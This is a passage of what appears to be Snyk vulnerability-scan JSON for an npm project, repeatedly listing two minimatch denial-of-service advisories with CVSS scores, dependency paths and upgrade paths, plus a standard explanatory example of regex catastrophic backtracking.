"https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ 